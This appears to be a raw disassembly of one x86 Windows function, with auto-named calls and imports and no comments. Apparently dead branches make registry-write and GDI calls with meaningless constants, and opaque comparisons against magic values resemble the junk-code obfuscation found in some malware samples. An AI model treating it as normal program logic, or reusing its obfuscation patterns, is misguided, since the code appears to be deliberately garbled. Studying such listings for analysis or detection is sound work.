cmp dword [esp + 0x98], 0
je 0x10015a2e
push dword [esp + 0x98]
call fcn.1004f7aa
pop ecx
mov dword [esp + 0x98], ebx
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], ebx
test edi, edi
je 0x10015d20
push esi
lea ecx, [esp + 0xf0]
call fcn.100165ef
mov dword [esp + 0x18], ebx
jmp 0x10015a5f
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0xec]
mov dword [eax + ecx*4], 0xb910
inc dword [esp + 0x18]
cmp dword [esp + 0x18], esi
jl 0x10015a49
mov dword [esp + 0x18], ebx
jmp 0x10015a77
mov eax, dword [esp + 0x18]
mov dword [esp + eax*4 + 0x74], ebx
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 2
jl 0x10015a6b
mov dword [esp + 0x78], ebx
jmp 0x10015ad9
mov dword [esp + 0x14], 0xfffffff6
mov dword [esp + 0x14], ebx
cmp dword [esp + 0x14], ebx
jl 0x10015ad5
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x10015aac
push 0xe73
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x10015acf
push 0x1f99
push ebx
push 0x5c3
push 0x1e4c
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
dec dword [esp + 0x14]
jns 0x10015a96
inc dword [esp + 0x78]
cmp dword [esp + 0x78], ebx
jle 0x10015a84
cmp dword [esp + 0xec], 0
je 0x10015b0b
push dword [esp + 0xec]
call fcn.1004f7aa
pop ecx
mov dword [esp + 0xec], ebx
mov dword [esp + 0xf0], ebx
mov dword [esp + 0xf4], ebx
mov edx, dword [esp + 0x30]
mov ecx, edi
call fcn.16e33000
mov edi, eax
lea ecx, [esp + 0xbc]
push 2
mov dword [esp + 0xb4], edi
call fcn.100165ef
mov dword [esp + 0x224], 9
mov dword [esp + 0x14], esi
mov dword [esp + 0x14], ebx
jmp 0x10015b58
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xbc]
mov dword [eax + ecx*4], 0x5b57
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 2
jl 0x10015b42
mov dword [esp + 0x14], esi
cmp dword [esp + 0x14], ebx
jl 0x10015cdb
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x10015cca
mov dword [esp + 0x30], 0x1ffb
cmp dword [esp + 0x30], 0xf11
jge 0x10015cbe
lea eax, [esp + 0x40]
push eax
push 0x100077e4
call fcn.1004ed2b
mov edi, dword [esp + 0x48]
mov dword [esp + 0x38], esi
pop ecx
pop ecx
cmp edi, esi
jle 0x10015c0c
mov ebx, esi
lea eax, [esp + 0x94]
push eax
lea eax, [esp + 0x90]
push eax
push 0x100078e4
call fcn.1004ed2b
imul ecx, dword [esp + 0x98], 0xc
lea eax, [esp + 0xa0]
add esp, 0xc
mov edi, 0x16e30120
push eax
add ecx, edi
call fcn.100166e4
imul ecx, dword [esp + 0x94], 0xc
lea eax, [esp + 0x8c]
push eax
add ecx, edi
call fcn.100166e4
mov edi, dword [esp + 0x40]
inc ebx
cmp ebx, edi
jl 0x10015bb1
xor ebx, ebx
xor edx, edx
mov dword [0x10658f7c], ebx
mov ecx, esi
call fcn.16e3300a
mov dword [esp + 0x24], ebx
test edi, edi
jle 0x10015cbe
lea eax, [esp + 0x7c]
push eax
push 0x100077e4
call fcn.1004ed2b
mov eax, dword [esp + 0x84]
xor edx, edx
xor ecx, ecx
push dword [eax*4 + 0x10658f80]
mov eax, dword [esp + 0x4c]
push ebx
lea eax, [eax*2 - 1]
push eax
call fcn.100147ba
add esp, 0x14
push eax
push 0x100078ec
call fcn.1004f5a5
mov edi, dword [esp + 0x84]
xor edx, edx
mov esi, dword [esp + 0x48]
xor ecx, ecx
push 1
push dword [edi*4 + 0x10658f80]
lea esi, [esi*2 - 1]
push esi
call fcn.1001482c
add esp, 0x14
or eax, 0xffffffff
xor edx, edx
xor ecx, ecx
push eax
push dword [edi*4 + 0x10658e60]
push esi
call fcn.1001482c
mov eax, dword [esp + 0x30]
add esp, 0xc
inc eax
mov dword [esp + 0x24], eax
cmp eax, dword [esp + 0x40]
jl 0x10015c27
xor esi, esi
inc esi
push ebx
push 0x7f8
call dword [sym.imp.GDI32.dll_SetTextColor]
dec dword [esp + 0x14]
jns 0x10015b6d
mov edi, dword [esp + 0xb0]
or eax, 0xffffffff
mov dword [esp + 0x224], eax
cmp dword [esp + 0xbc], 0
je 0x10015d11
push dword [esp + 0xbc]
call fcn.1004f7aa
pop ecx
mov dword [esp + 0xbc], ebx
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
lea eax, [esp + 0x90]
push eax
call fcn.10016a02
mov dword [eax], edi
or eax, 0xffffffff
lea ecx, [esp + 0x170]
mov dword [esp + 0x2c], eax
push esi
call fcn.100165ef
mov dword [esp + 0x224], 0xa
lea eax, [esp + 0x1b4]
push dword [esp + 0x58]
movdqa xmm0, xmmword [0x10007e10]
lea ecx, [esp + 0x158]
push eax
lea eax, [esp + 0x1ac]
mov dword [esp + 0x1c], 0xfffffffe
push eax
push ebx
movdqu xmmword [esp + 0x1b4], xmm0
mov dword [esp + 0x164], ebx
mov dword [esp + 0x168], ebx
mov dword [esp + 0x16c], ebx
call fcn.1001bc36
mov dword [esp + 0x30], 0xe07e
mov dword [esp + 0x28], 6
mov dword [esp + 0x14], ebx
jmp 0x10015dba
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x170]
mov dword [eax + ecx*4], 0x4445559
inc dword [esp + 0x14]
cmp dword [esp + 0x14], esi
jl 0x10015da4
mov eax, dword [esp + 0x2c]
xor edx, edx
mov eax, dword [esp + 0x2c]
sub eax, 0xfd9e
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x170]
cmp dword [eax], ecx
mov eax, dword [esp + 0x2c]
setle dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [esp + 0x170]
setg cl
cmp ecx, dword [eax]
jge 0x10015dff
cmp dword [esp + 0x2c], ebx
jne 0x10015e01
mov esi, ebx
mov dword [esp + 0x2c], esi
cmp dword [esp + 0x2c], 0xc9a130df
mov edx, dword [esp + 0x2c]
sbb eax, eax
inc eax
sub edx, eax
mov eax, dword [esp + 0x154]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, dword [eax + 0xc]
mov eax, dword [esp + 0x14]
cmp edx, eax
mov eax, dword [esp + 0x30]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x170]
setne dl
xor ebx, ebx
cmp dword [eax], edx
mov eax, dword [esp + 0x28]
setge bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [esp + 0x14]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x2c]
push dword [esp + 0x154]
setne dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [esp + 0x18], ecx
call fcn.1004f7aa
pop ecx
push dword [esp + 0x170]
call fcn.1004f7aa
pop ecx
mov eax, dword [ebp + 8]
lea esi, [esp + 0xb0]
mov ecx, dword [esp + 0x21c]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret